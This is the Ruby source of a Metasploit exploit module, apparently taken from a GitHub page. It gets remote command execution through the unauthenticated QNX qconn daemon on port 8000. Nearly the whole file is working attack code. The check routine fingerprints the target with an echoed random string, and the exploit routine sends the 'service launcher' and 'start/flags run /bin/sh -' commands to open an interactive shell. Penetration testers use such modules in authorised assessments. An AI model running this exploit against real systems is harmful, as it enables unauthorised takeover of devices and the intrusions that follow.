metasploit-framework/modules/exploits/unix/misc/qnx_qconn_exec.rb

167 lines
4.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Module::Deprecated
deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn/qconn_exec')
def initialize(info = {})
super(update_info(info,
'Name' => 'QNX qconn Command Execution',
'Description' => %q{
This module uses the qconn daemon on QNX systems to gain a shell.
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Odell', # Discovery
'Mor!p3r', # PoC
'bcoles' # Metasploit
],
'References' =>
[
['EDB', '21520'],
['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
],
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/interact'
},
'Platform' => 'unix', # QNX Neutrino
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8000),
OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
])
end
def check
vprint_status 'Sending check...'
connect
res = sock.get_once(-1, 10)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.include? 'QCONN'
return CheckCode::Safe
end
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
Rex.sleep 1
res = sock.get_once(-1, 10)
if res.nil? || !res.include?(fingerprint)
return CheckCode::Safe
end
disconnect
CheckCode::Vulnerable
end
def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
connect
res = sock.get_once(-1, 10)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.include? 'QCONN'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
print_status 'Sending payload...'
sock.put "start/flags run #{datastore['SHELL']} -\n"
Rex.sleep 1
unless negotiate_shell sock
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
print_good 'Payload sent successfully'
handler
end
def negotiate_shell(sock)
Timeout.timeout(15) do
while true
data = sock.get_once(-1, 10)
if !data || data.length.zero?
return nil
end
if data.include?('#') || data.include?('No controlling tty')
return true
end
Rex.sleep 0.5
end
end
rescue ::Timeout::Error
return nil
end
end